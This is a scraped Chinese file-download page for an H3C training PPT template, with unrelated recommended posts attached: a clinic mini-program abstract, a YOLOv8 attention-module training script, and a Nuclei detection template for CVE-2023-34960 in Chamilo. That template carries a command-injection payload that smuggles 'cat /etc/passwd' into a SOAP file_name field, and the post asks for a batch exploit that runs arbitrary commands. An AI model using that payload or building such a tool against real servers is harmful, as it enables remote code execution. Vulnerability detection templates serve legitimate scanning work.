file-type

H3C培训课程PPT模板设计及应用

RAR文件

下载需积分: 9 | 822KB | 更新于2025-04-14 | 17 浏览量 | 3 评论 | 3 下载量 举报 收藏
download 立即下载
根据给定的信息,我们可以得知该文件是一个与H3C相关的培训PPT模板的压缩包。文件的标题和描述直接指明了其为“H3C_培训_PPT_模板_V1.0”,而标签仅有“H3C”这一个词,说明内容与H3C公司提供的培训材料有关。文件名称列表中的文件为H3C_培训_PPT_模板_V1.0.pot,表明这是一个PPT模板文件,文件扩展名.pot表示这是一个PowerPoint模板文件。接下来,我会围绕H3C公司及其产品、技术,以及PPT模板的创建与应用,展开详细的知识点阐述。 ### H3C公司简介 H3C是华为技术有限公司与美国3Com公司的合资企业,后来在2010年1月,华为将持有的H3C公司49%的股份出售给私募股权公司贝恩资本(Bain Capital),使得H3C成为一家独立的公司。H3C定位于提供包括路由器、交换机、无线、安全、存储、服务器、云服务等在内的全系列网络设备和解决方案。公司以自主研发的产品和技术服务为基础,为各行业客户提供智能化网络产品和解决方案。 ### H3C产品与技术 H3C的产品和技术覆盖了多个领域,主要包括网络基础设施、数据中心、网络安全、云计算、大数据等领域。 - **网络基础设施**: 包括以太网交换机、路由器、无线网络设备等。 - **数据中心**: 提供数据中心交换机、路由器、服务器、存储产品。 - **网络安全**: 包括防火墙、入侵防御系统(IPS)、安全管理系统等。 - **云计算**: 提供云管理平台、云服务器、软件定义网络(SDN)产品。 - **大数据**: 提供大数据存储与计算解决方案、数据仓库等。 H3C作为一家信息技术公司,其产品和解决方案广泛应用于企业级市场,如金融、教育、医疗保健、政府等领域。 ### PPT模板的创建与应用 PowerPoint模板是一组预先设计好的格式设置,可帮助用户快速创建专业的演示文稿。模板中可能包含统一的字体、颜色方案、背景设计、布局以及一些占位文本和图片等元素。 - **设计要素**:设计PPT模板时,通常会考虑以下要素:统一的色彩主题、清晰的版式布局、一致的字体风格、合适的图像和图标。 - **应用优势**:使用PPT模板可以提高工作效率,保证演示文稿的专业性,使得内容展示更加标准化和规范化。 - **创建步骤**:创建PPT模板通常涉及以下步骤:确定演示文稿的主题和目的、规划内容和布局、设计统一的视觉风格、添加占位符、保存为模板格式。 ### 培训应用场景 培训类PPT模板通常需要能够清晰地传达培训内容,同时激发参与者的兴趣。在设计培训类PPT模板时,可能会包含以下特点: - **简洁清晰**:内容应简洁明了,避免冗杂信息干扰培训主题。 - **视觉引导**:使用图表、图示等视觉元素引导观众注意力。 - **互动元素**:设计包含问答环节,以及可操作的实例展示等互动环节,提升参与感。 - **案例分析**:模板中可预留空间用于插入案例研究,帮助受训者更好地理解理论与实践结合。 ### 结语 从上述内容可以看出,H3C_培训_PPT_模板_V1.0这个文件是一个为H3C相关的培训课程量身定做的PowerPoint模板文件。它极有可能是为了保证培训资料的专业性和统一性而精心设计的。H3C公司作为ICT解决方案提供商,其产品和技术覆盖广泛,而PPT模板作为培训资料的重要组成部分,能够帮助讲师快速制作出结构清晰、视觉统一的培训课件,从而提升培训质量。在实际应用中,使用这样的模板可以大幅度提高培训资料的制作效率和质量,同时也有利于打造公司培训的品牌形象。

相关推荐

filetype
微信小程序的社区门诊管理系统流程不完善导致小程序的使用率较低。社区门诊管理系统的部署与应用,将对日常的门诊信息、预约挂号、检查信息、检查报告、病例信息等功能进行管理,这可以简化工作程序、降低劳动成本、提高工作效率。为了有效推动医院的合理配置和使用,迫切需要研发一套更加全面的社区门诊管理系统。 本论文主要介绍基于Php语言设计并实现了微信小程序的社区门诊管理系统。该小程序基于B/S即所谓浏览器/服务器模式,选择MySQL作为后台数据库去开发并实现一个以微信小程序的社区门诊为核心的系统以及对系统的简易介绍。 本课题要求实现一套微信小程序的社区门诊管理系统,系统主要包括管理员模块和用户模块、医生模块功能模块。 用户注册,在用户注册页面通过填写账号、密码、确认密码、姓名、性别、手机、等信息进行注册操作。用户登陆微信端后,可以对首页、门诊信息、我的等功能进行详细操作。门诊信息,在门诊信息页面可以查看科室名称、科室类型、医生编号、医生姓名、 职称、坐诊时间、科室图片、点击次数、科室介绍等信息进行预约挂号操作。检查信息,在检查信息页面可以查看检查项目、检查地点、检查时间、检查费用、账号、姓名、医生编号、医生姓名、是否支付、审核回复、审核状态等信息进行支付操作。我的,在我的页面可以对预约挂号、检查信息、检查报告、处方信息、费用信息等详细信息。 管理员登录进入社区门诊管理系统可以查看首页、个人中心、用户管理、医生管理、门诊信息管理、科室分类管理、预约挂号管理、检查信息管理、检查报告管理、病例信息管理、处方信息管理、费用信息管理、系统管理等信息进行相应操作。 医生登录进入社区门诊管理系统可以查看首页、个人中心、预约挂号管理、检查信息管理、检查报告管理、病例信息管理、处方信息管理等信息进行相应操作。
filetype

import os import torch import argparse import yaml import torch.nn as nn import torch.nn.functional as F import numpy as np from torch.utils.data import Dataset, DataLoader from torchvision import transforms import cv2 import math from tqdm import tqdm import time import gc # 设置环境变量以减少内存碎片 os.environ['PYTORCH_CUDA_ALLOC_CONF'] = 'expandable_segments:True' # 添加CA-GAM注意力机制模块 class CoordAtt(nn.Module): """Coordinate Attention 模块""" def __init__(self, in_channels, reduction=32): super(CoordAtt, self).__init__() self.pool_h = nn.AdaptiveAvgPool2d((None, 1)) self.pool_w = nn.AdaptiveAvgPool2d((1, None)) mid_channels = max(8, in_channels // reduction) self.conv1 = nn.Conv2d(in_channels, mid_channels, kernel_size=1, stride=1, padding=0) self.bn1 = nn.BatchNorm2d(mid_channels) self.act = nn.ReLU(inplace=True) self.conv_h = nn.Conv2d(mid_channels, in_channels, kernel_size=1, stride=1, padding=0) self.conv_w = nn.Conv2d(mid_channels, in_channels, kernel_size=1, stride=1, padding=0) self.sigmoid = nn.Sigmoid() def forward(self, x): identity = x n, c, h, w = x.size() x_h = self.pool_h(x) x_w = self.pool_w(x).permute(0, 1, 3, 2) y = torch.cat([x_h, x_w], dim=2) y = self.conv1(y) y = self.bn1(y) y = self.act(y) x_h, x_w = torch.split(y, [h, w], dim=2) x_w = x_w.permute(0, 1, 3, 2) a_h = self.sigmoid(self.conv_h(x_h)) a_w = self.sigmoid(self.conv_w(x_w)) out = identity * a_w * a_h return out class GAM_Attention(nn.Module): """Global Attention Module""" def __init__(self, in_channels, rate=4): super(GAM_Attention, self).__init__() self.channel_attention = nn.Sequential( nn.Linear(in_channels, in_channels // rate), nn.ReLU(inplace=True), nn.Linear(in_channels // rate, in_channels) ) self.spatial_attention = nn.Sequential( nn.Conv2d(in_channels, in_channels // rate, kernel_size=7, padding=3), nn.BatchNorm2d(in_channels // rate), nn.ReLU(inplace=True), nn.Conv2d(in_channels // rate, in_channels, kernel_size=7, padding=3), nn.BatchNorm2d(in_channels) ) self.sigmoid = nn.Sigmoid() def forward(self, x): # 通道注意力 b, c, h, w = x.size() x_permute = x.permute(0, 2, 3, 1).view(b, -1, c) x_att_permute = self.channel_attention(x_permute).view(b, h, w, c) x_channel_att = x_att_permute.permute(0, 3, 1, 2) x_channel_att = self.sigmoid(x_channel_att) # 空间注意力 x_spatial_att = self.spatial_attention(x) x_spatial_att = self.sigmoid(x_spatial_att) # 结合两种注意力 att = 1 + x_channel_att + x_spatial_att return x * att class CA_GAM_Fusion(nn.Module): """CA-GAM融合模块""" def __init__(self, in_channels, fusion_type='concat'): super(CA_GAM_Fusion, self).__init__() self.fusion_type = fusion_type self.ca = CoordAtt(in_channels) self.gam = GAM_Attention(in_channels) if fusion_type == 'concat': self.fusion_conv = nn.Conv2d(in_channels * 2, in_channels, kernel_size=1) elif fusion_type == 'add': self.fusion_conv = None else: raise ValueError("fusion_type must be 'concat' or 'add'") def forward(self, x): ca_out = self.ca(x) gam_out = self.gam(x) if self.fusion_type == 'concat': fused = torch.cat([ca_out, gam_out], dim=1) fused = self.fusion_conv(fused) else: # add fused = ca_out + gam_out return fused # 创建简化版的模型创建函数 def create_simple_yolov8_ca_gam_model(cfg='yolov8n-dgcst.yaml', ch=3, nc=None): """ 创建简化版的YOLOv8 CA-GAM模型,避免复杂的导入 """ # 加载YOLOv8配置文件 if isinstance(cfg, dict): yaml_cfg = cfg else: with open(cfg, errors='ignore', encoding='utf-8') as f: yaml_cfg = yaml.safe_load(f) if nc and 'nc' in yaml_cfg: yaml_cfg['nc'] = nc # 创建简化模型 model = SimpleYOLOv8CA_GAM(yaml_cfg, ch=ch, nc=nc) return model class SimpleYOLOv8CA_GAM(nn.Module): """简化版的YOLOv8 CA-GAM模型""" def __init__(self, cfg, ch=3, nc=None): super().__init__() if nc and 'nc' in cfg: cfg['nc'] = nc # 解析配置并构建模型 self.backbone, backbone_out_channels = self._build_backbone(cfg.get('backbone', []), ch) self.head = self._build_head(cfg.get('head', []), backbone_out_channels, nc or 1) def _build_backbone(self, backbone_cfg, in_channels): layers = [] current_channels = in_channels for layer_cfg in backbone_cfg: if len(layer_cfg) > 2: module_type = layer_cfg[2] args = layer_cfg[3] if len(layer_cfg) > 3 else [] if module_type == 'Conv' or module_type == 'CA_GAM_Conv': out_channels = args[0] if args else 64 kernel_size = args[1] if len(args) > 1 else 3 stride = args[2] if len(args) > 2 else 1 # 计算填充 padding = kernel_size // 2 # 只在某些层使用注意力机制以减少内存使用 attention = len(layers) % 4 == 0 # 每4层使用一次注意力 layers.append( CA_GAM_Conv(current_channels, out_channels, kernel_size, stride, padding, attention=attention)) current_channels = out_channels elif module_type == 'C2f': # 实现C2f模块 out_channels = args[0] if args else 64 n = args[1] if len(args) > 1 else 1 shortcut = args[2] if len(args) > 2 else True # 简化的C2f实现 layers.append(SimplifiedC2f(current_channels, out_channels, n, shortcut)) current_channels = out_channels return nn.Sequential(*layers), current_channels def _build_head(self, head_cfg, in_channels, num_classes): # 简化的检测头实现 # 根据YOLOv8的结构,头部通常包含多个检测层 # 这里我们创建一个简化的头部 return nn.Sequential( nn.Conv2d(in_channels, 128, 3, padding=1), # 进一步减少通道数以节省内存 nn.ReLU(), nn.Conv2d(128, 64, 3, padding=1), nn.ReLU(), nn.Conv2d(64, 32, 3, padding=1), nn.ReLU(), # 最终的输出层,适应YOLO的输出格式 nn.Conv2d(32, (num_classes + 5) * 3, 1) # 3个锚点 * (类别数 + 5个值: x, y, w, h, confidence) ) def forward(self, x): x = self.backbone(x) x = self.head(x) # 重新整形输出以匹配YOLO格式 batch_size, channels, height, width = x.shape x = x.view(batch_size, 3, -1, height, width).permute(0, 1, 3, 4, 2) return x # 定义CA-GAM版本的Conv class CA_GAM_Conv(nn.Module): """Conv module with CA-GAM attention""" def __init__(self, c1, c2, k=1, s=1, p=None, g=1, d=1, act=True, attention=True): super().__init__() if p is None: p = k // 2 self.conv = nn.Conv2d(c1, c2, k, s, p, groups=g, dilation=d, bias=False) self.bn = nn.BatchNorm2d(c2) self.act = nn.SiLU() if act is True else ( act if isinstance(act, nn.Module) else nn.Identity()) # 添加CA-GAM注意力机制 self.attention = CA_GAM_Fusion(c2, fusion_type='add') if attention else nn.Identity() # 使用add减少内存 def forward(self, x): x = self.conv(x) x = self.bn(x) x = self.attention(x) # 应用注意力 return self.act(x) class SimplifiedC2f(nn.Module): """简化的C2f模块实现""" def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): super().__init__() self.c = int(c2 * e) # hidden channels self.cv1 = CA_GAM_Conv(c1, 2 * self.c, 1, 1, attention=False) # 减少注意力使用 self.cv2 = CA_GAM_Conv((2 + n) * self.c, c2, 1, attention=False) # 减少注意力使用 self.m = nn.ModuleList(CA_GAM_Conv(self.c, self.c, 3, 1, g=g, attention=False) for _ in range(n)) # 减少注意力使用 self.shortcut = shortcut def forward(self, x): y = list(self.cv1(x).split((self.c, self.c), 1)) y.extend(m(y[-1]) for m in self.m) return self.cv2(torch.cat(y, 1)) def safe_load_weights(model, weight_path, device): """ 安全加载YOLOv8的.pt格式权重,避免循环导入问题 """ try: # 直接加载权重文件 checkpoint = torch.load(weight_path, map_location=device, weights_only=False) # 尝试不同的键名来获取权重 state_dict = None for key in ['model', 'state_dict', 'model_state_dict']: if key in checkpoint: state_dict = checkpoint[key] break if state_dict is None: state_dict = checkpoint # 直接使用整个检查点 # 获取模型的状态字典 model_dict = model.state_dict() # 过滤不匹配的权重 filtered_dict = {} matched_keys = [] unmatched_keys = [] for k, v in state_dict.items(): # 移除可能的前缀 k_clean = k.replace('model.', '').replace('module.', '') # 尝试匹配键名 if k_clean in model_dict and v.shape == model_dict[k_clean].shape: filtered_dict[k_clean] = v matched_keys.append(k_clean) elif k in model_dict and v.shape == model_dict[k].shape: filtered_dict[k] = v matched_keys.append(k) else: unmatched_keys.append(k) # 更新模型权重 model_dict.update(filtered_dict) model.load_state_dict(model_dict) print(f"成功加载 {len(matched_keys)}/{len(model_dict)} 层权重") if unmatched_keys: print(f"未匹配的键: {len(unmatched_keys)} 个") if len(unmatched_keys) < 10: # 只显示前10个未匹配的键 for uk in unmatched_keys[:10]: print(f" - {uk}") return model except Exception as e: print(f"加载权重失败: {e}") print("将继续使用随机初始化的权重") return model class YOLODataset(Dataset): """YOLO格式数据集""" def __init__(self, data_config, img_size=640, is_train=True): self.img_size = img_size self.is_train = is_train # 解析数据配置 self.data_dir = data_config.get('path', '') data_type = 'train' if is_train else 'val' # 获取图像和标签路径 if data_type in data_config: img_path_key = data_config[data_type].replace('\\', '/') self.img_dir = os.path.join(self.data_dir, img_path_key) # 推断标签路径 if 'images' in img_path_key: label_path_key = img_path_key.replace('images', 'labels') else: label_path_key = img_path_key self.label_dir = os.path.join(self.data_dir, label_path_key) else: # 默认路径 self.img_dir = os.path.join(self.data_dir, 'images', data_type) self.label_dir = os.path.join(self.data_dir, 'labels', data_type) # 获取图像文件列表 self.image_files = [] for ext in ['.jpg', '.jpeg', '.png', '.bmp']: self.image_files.extend([ os.path.join(self.img_dir, f) for f in os.listdir(self.img_dir) if f.lower().endswith(ext) ]) # 数据增强 self.transform = transforms.Compose([ transforms.ToTensor(), transforms.Resize((img_size, img_size)), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) ]) # 类别数量 self.nc = data_config.get('nc', 1) # 类别名称 self.names = data_config.get('names', {i: f'class_{i}' for i in range(self.nc)}) print(f"找到 {len(self.image_files)} 张{'训练' if is_train else '验证'}图像") def __len__(self): return len(self.image_files) def __getitem__(self, idx): # 加载图像 img_path = self.image_files[idx] image = cv2.imread(img_path) if image is None: print(f"无法读取图像: {img_path}") # 返回一个空的图像和标签 return torch.zeros((3, self.img_size, self.img_size)), torch.zeros((0, 5)), torch.tensor([0, 0]), img_path image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) orig_size = image.shape[:2] # 原始尺寸 (h, w) # 应用变换 image = self.transform(image) # 加载标签 label_path = os.path.join(self.label_dir, os.path.splitext(os.path.basename(img_path))[0] + '.txt') # 解析YOLO格式的标签 labels = [] if os.path.exists(label_path): with open(label_path, 'r') as f: for line in f: parts = line.strip().split() if len(parts) >= 5: try: class_id = int(parts[0]) x_center = float(parts[1]) y_center = float(parts[2]) width = float(parts[3]) height = float(parts[4]) labels.append([class_id, x_center, y_center, width, height]) except ValueError: print(f"无效的标签格式: {line.strip()} in {label_path}") continue # 转换为Tensor labels = torch.tensor(labels) if labels else torch.zeros((0, 5)) return image, labels, torch.tensor(orig_size), img_path def collate_fn(batch): """处理不同数量目标的批处理函数""" images, labels, orig_sizes, paths = zip(*batch) return torch.stack(images), labels, torch.stack(orig_sizes), paths def create_dataloader(data_config, batch_size, img_size=640, is_train=True): """创建数据加载器""" dataset = YOLODataset(data_config, img_size, is_train) return DataLoader( dataset, batch_size=batch_size, shuffle=is_train, num_workers=min(2, os.cpu_count() // 4), # 减少工作进程数以节省内存 collate_fn=collate_fn, pin_memory=True, persistent_workers=False # 禁用持久工作进程以节省内存 ) class YOLOLoss(nn.Module): """YOLO损失函数""" def __init__(self, num_classes, anchors=None): super().__init__() self.num_classes = num_classes # 默认锚点框 (COCO数据集) if anchors is None: self.anchors = torch.tensor([ [10, 13], [16, 30], [33, 23], # P3/8 [30, 61], [62, 45], [59, 119], # P4/16 [116, 90], [156, 198], [373, 326] # P5/32 ]).float() else: self.anchors = anchors # 损失权重 self.box_weight = 0.05 self.cls_weight = 0.5 self.obj_weight = 1.0 # 定义BCE损失 self.bce = nn.BCEWithLogitsLoss(reduction='none') def forward(self, predictions, targets, device): """ 计算YOLO损失 predictions: 模型输出 [batch, anchors, grid_h, grid_w, num_classes+5] targets: 目标标签列表,每个元素是 [num_objs, 5] (class_id, x, y, w, h) device: 设备信息 """ batch_size, num_anchors, grid_h, grid_w, _ = predictions.shape # 确保anchors在正确的设备上 anchors = self.anchors.to(device) # 初始化损失分量 box_loss = torch.zeros(1, device=device) cls_loss = torch.zeros(1, device=device) obj_loss = torch.zeros(1, device=device) # 将预测值转换为更有用的格式 pred = predictions.view(batch_size, num_anchors, grid_h, grid_w, -1) xy = torch.sigmoid(pred[..., 0:2]) # x, y wh = torch.exp(pred[..., 2:4]) # width, height obj_pred = pred[..., 4:5] # objectness predictions (logits) cls_pred = pred[..., 5:] # class predictions # 计算目标数量 num_targets = 0 # 为每个目标计算损失 for i in range(batch_size): # 获取当前批次的标签 tgt = targets[i] if len(tgt) == 0: # 如果没有目标,只计算目标性损失 (应该是0) # 这里我们使用所有网格点的负样本损失 obj_loss += self.bce(obj_pred[i], torch.zeros_like(obj_pred[i])).mean() continue # 确保目标在正确的设备上 tgt = tgt.to(device) # 转换目标格式 tgt_boxes = tgt[:, 1:5] * torch.tensor([grid_w, grid_h, grid_w, grid_h], device=device) tgt_classes = tgt[:, 0].long() # 计算宽高比并选择最佳锚点 tgt_wh = tgt_boxes[:, 2:4] anchor_wh = anchors ratio = tgt_wh.unsqueeze(1) / anchor_wh.unsqueeze(0) # [num_objs, num_anchors, 2] ratio = torch.max(ratio, 1.0 / ratio).max(2)[0] # [num_objs, num_anchors] best_anchors = ratio.argmin(1) # [num_objs] # 为每个目标选择最佳预测 for j, (box, class_id, anchor_idx) in enumerate(zip(tgt_boxes, tgt_classes, best_anchors)): # 计算网格位置 grid_x = int(box[0]) grid_y = int(box[1]) if grid_x < grid_w and grid_y < grid_h: # 计算边界框损失 pred_xy = xy[i, anchor_idx, grid_y, grid_x, :] pred_wh = wh[i, anchor_idx, grid_y, grid_x, :] # 目标值 target_xy = box[0:2] - torch.floor(box[0:2]) target_wh = torch.log(box[2:4] / anchors[anchor_idx] + 1e-16) # 边界框损失 box_loss += F.mse_loss(pred_xy, target_xy) + F.mse_loss(pred_wh, target_wh) # 目标性损失 - 确保形状匹配 obj_target = torch.ones_like(obj_pred[i, anchor_idx, grid_y, grid_x, :]) obj_loss += self.bce(obj_pred[i, anchor_idx, grid_y, grid_x, :], obj_target).mean() # 分类损失 cls_target = torch.zeros(self.num_classes, device=device) cls_target[class_id] = 1.0 cls_loss += self.bce(cls_pred[i, anchor_idx, grid_y, grid_x, :], cls_target).mean() num_targets += 1 # 如果没有目标,直接返回总损失 if num_targets == 0: total_loss = self.obj_weight * obj_loss return total_loss, torch.cat((box_loss, cls_loss, obj_loss, total_loss)).detach() # 归一化损失 box_loss = box_loss / num_targets cls_loss = cls_loss / num_targets obj_loss = obj_loss / (batch_size * num_anchors * grid_h * grid_w) # 总损失 total_loss = self.box_weight * box_loss + self.cls_weight * cls_loss + self.obj_weight * obj_loss return total_loss, torch.cat((box_loss, cls_loss, obj_loss, total_loss)).detach() def train_epoch(model, train_loader, optimizer, criterion, device, epoch, accumulation_steps=4): """训练一个epoch""" model.train() total_loss = 0 box_loss, cls_loss, obj_loss = 0, 0, 0 # 清空CUDA缓存 torch.cuda.empty_cache() gc.collect() pbar = tqdm(train_loader, desc=f'Epoch {epoch}/Training') for batch_idx, (images, targets, _, _) in enumerate(pbar): images = images.to(device, non_blocking=True) # 确保目标也在正确的设备上 targets = [t.to(device) for t in targets] # 前向传播 outputs = model(images) # 计算损失 loss, loss_items = criterion(outputs, targets, device) # 使用梯度累积 loss = loss / accumulation_steps # 反向传播 loss.backward() # 每accumulation_steps步更新一次参数 if (batch_idx + 1) % accumulation_steps == 0: # 梯度裁剪 torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=10.0) optimizer.step() optimizer.zero_grad() # 清空CUDA缓存 torch.cuda.empty_cache() # 记录损失 total_loss += loss.item() * accumulation_steps box_loss += loss_items[0].item() cls_loss += loss_items[1].item() obj_loss += loss_items[2].item() # 更新进度条 pbar.set_postfix({ 'loss': f'{loss.item() * accumulation_steps:.4f}', 'box': f'{loss_items[0].item():.4f}', 'cls': f'{loss_items[1].item():.4f}', 'obj': f'{loss_items[2].item():.4f}' }) # 计算平均损失 avg_loss = total_loss / len(train_loader) avg_box = box_loss / len(train_loader) avg_cls = cls_loss / len(train_loader) avg_obj = obj_loss / len(train_loader) return avg_loss, avg_box, avg_cls, avg_obj def validate(model, val_loader, criterion, device): """验证模型""" model.eval() total_loss = 0 box_loss, cls_loss, obj_loss = 0, 0, 0 with torch.no_grad(): pbar = tqdm(val_loader, desc='Validation') for images, targets, _, _ in pbar: images = images.to(device, non_blocking=True) # 确保目标也在正确的设备上 targets = [t.to(device) for t in targets] # 前向传播 outputs = model(images) # 计算损失 loss, loss_items = criterion(outputs, targets, device) # 记录损失 total_loss += loss.item() box_loss += loss_items[0].item() cls_loss += loss_items[1].item() obj_loss += loss_items[2].item() # 更新进度条 pbar.set_postfix({ 'val_loss': f'{loss.item():.4f}', 'box': f'{loss_items[0].item():.4f}', 'cls': f'{loss_items[1].item():.4f}', 'obj': f'{loss_items[2].item():.4f}' }) # 计算平均损失 avg_loss = total_loss / len(val_loader) avg_box = box_loss / len(val_loader) avg_cls = cls_loss / len(val_loader) avg_obj = obj_loss / len(val_loader) return avg_loss, avg_box, avg_cls, avg_obj def train_yolov8_ca_gam(data_cfg, model_cfg='yolov8n-dgcst.yaml', epochs=100, imgsz=640, batch=8, project='runs/train', name='yolov8m_ca_gam', weights=None, device='cpu'): """ 训练集成CA-GAM注意力机制的YOLOv8模型 """ # 设置设备 device = torch.device('cuda' if torch.cuda.is_available() and device != 'cpu' else 'cpu') print(f"使用设备: {device}") # 加载数据配置 try: with open(data_cfg, 'r', encoding='utf-8') as f: data_config = yaml.safe_load(f) print(f"成功加载数据配置: {data_config}") except UnicodeDecodeError: try: with open(data_cfg, 'r', encoding='gbk') as f: data_config = yaml.safe_load(f) print(f"使用GBK编码成功加载数据配置: {data_config}") except Exception as e: print(f"加载数据配置失败: {e}") return {"status": "failed", "error": f"加载数据配置失败: {e}"} # 获取类别数量 nc = data_config.get('nc', 1) # 创建模型 model = create_simple_yolov8_ca_gam_model(model_cfg, nc=nc) model = model.to(device) # 如果有预训练权重,加载权重 if weights and os.path.exists(weights): print(f"加载预训练权重: {weights}") model = safe_load_weights(model, weights, device) # 创建数据加载器 train_loader = create_dataloader(data_config, batch, imgsz, is_train=True) val_loader = create_dataloader(data_config, batch, imgsz, is_train=False) # 定义损失函数、优化器和学习率调度器 criterion = YOLOLoss(nc) optimizer = torch.optim.Adam(model.parameters(), lr=0.001, weight_decay=5e-4) scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=30, gamma=0.1) # 创建输出目录 os.makedirs(project, exist_ok=True) run_dir = os.path.join(project, name) os.makedirs(run_dir, exist_ok=True) # 训练记录 best_loss = float('inf') train_history = { 'epoch': [], 'train_loss': [], 'train_box': [], 'train_cls': [], 'train_obj': [], 'val_loss': [], 'val_box': [], 'val_cls': [], 'val_obj': [], 'learning_rate': [] } # 训练循环 for epoch in range(1, epochs + 1): print(f"\nEpoch {epoch}/{epochs}") # 训练 train_loss, train_box, train_cls, train_obj = train_epoch( model, train_loader, optimizer, criterion, device, epoch, accumulation_steps=4) # 验证 val_loss, val_box, val_cls, val_obj = validate(model, val_loader, criterion, device) # 更新学习率 current_lr = optimizer.param_groups[0]['lr'] scheduler.step() # 记录训练过程 train_history['epoch'].append(epoch) train_history['train_loss'].append(train_loss) train_history['train_box'].append(train_box) train_history['train_cls'].append(train_cls) train_history['train_obj'].append(train_obj) train_history['val_loss'].append(val_loss) train_history['val_box'].append(val_box) train_history['val_cls'].append(val_cls) train_history['val_obj'].append(val_obj) train_history['learning_rate'].append(current_lr) # 打印训练信息 print(f"Train Loss: {train_loss:.4f} | Val Loss: {val_loss:.4f} | LR: {current_lr:.6f}") # 保存最佳模型 if val_loss < best_loss: best_loss = val_loss torch.save(model.state_dict(), os.path.join(run_dir, 'best.pt')) print(f"保存最佳模型,验证损失: {val_loss:.4f}") # 定期保存检查点 if epoch % 10 == 0: torch.save(model.state_dict(), os.path.join(run_dir, f'epoch_{epoch}.pt')) # 保存最终模型 torch.save(model.state_dict(), os.path.join(run_dir, 'last.pt')) # 保存训练历史 torch.save(train_history, os.path.join(run_dir, 'history.pt')) return { "status": "completed", "epochs": epochs, "final_loss": val_loss, "best_loss": best_loss, "run_dir": run_dir } if __name__ == "__main__": # 解析命令行参数 parser = argparse.ArgumentParser(description='训练集成CA-GAM注意力机制的YOLOv8模型') parser.add_argument('--data', type=str, required=True, help='YOLO data.yaml 文件路径') parser.add_argument('--model-cfg', type=str, default='yolov8n.yaml', help='YOLOv8模型配置文件路径') parser.add_argument('--epochs', type=int, default=100, help='训练轮数') parser.add_argument('--imgsz', type=int, default=640, help='输入图像尺寸') parser.add_argument('--batch', type=int, default=16, help='批次大小') parser.add_argument('--weights', type=str, default=None, help='预训练权重路径') parser.add_argument('--project', type=str, default='runs/train', help='训练结果保存目录') parser.add_argument('--name', type=str, default='yolov8m_ca_gam_tunnel', help='训练运行名称') parser.add_argument('--device', type=str, default='cpu', help='训练设备,例如: cpu, cuda') args = parser.parse_args() # 开始训练 results = train_yolov8_ca_gam( data_cfg=args.data, model_cfg=args.model_cfg, epochs=args.epochs, imgsz=args.imgsz, batch=args.batch,· project=args.project, name=args.name, weights=args.weights, device=args.device ) print(f"训练完成! 结果保存在 {results.get('run_dir', '未知路径')}")给出Microsoft Visio可视化代码

filetype

id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical description: | A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS. reference: - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py - http://chamilo.com - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-34960 cwe-id: CWE-77 epss-score: 0.93314 epss-percentile: 0.99067 cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: chamilo product: chamilo shodan-query: - http.component:"Chamilo" - http.component:"chamilo" - cpe:"cpe:2.3:a:chamilo:chamilo" tags: cve,cve2023,packetstorm,chamilo http: - raw: - | POST /main/webservices/additional_webservices.php HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope> matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" part: body - type: word part: header words: - text/xml - type: status status: - 200 # digest: 4a0a00473045022034e60ad33e2160ec78cbef2c6c410b14dabd6c3ca8518c21571e310453a24e25022100927e4973b55f38f2cc8ceca640925b7066d4325032b04fb0eca080984080a1d0:922c64590222798bb761d5b6d8e72950根据poc实现python的exp,并且读取当前目录下的文件 批量执行 ,例如,python CVE-2023-34960.py -f .8.txt -c "需要执行的命令" 并将执行成功的结果输出 -o 9.txt 添加选项-o 8.txt的文本文件

资源评论
用户头像
FelaniaLiu
2025.05.08
H3C培训模板具有专业感,有助于提升培训效果,值得推荐。
用户头像
晕过前方
2025.04.26
这份H3C培训PPT模板设计专业,内容清晰,适合用于教学和演示。
用户头像
型爷
2025.03.25
简洁明了的H3C培训资料,版式布局合理,便于学习和理解。
kingcow
  • 粉丝: 0
上传资源 快速赚钱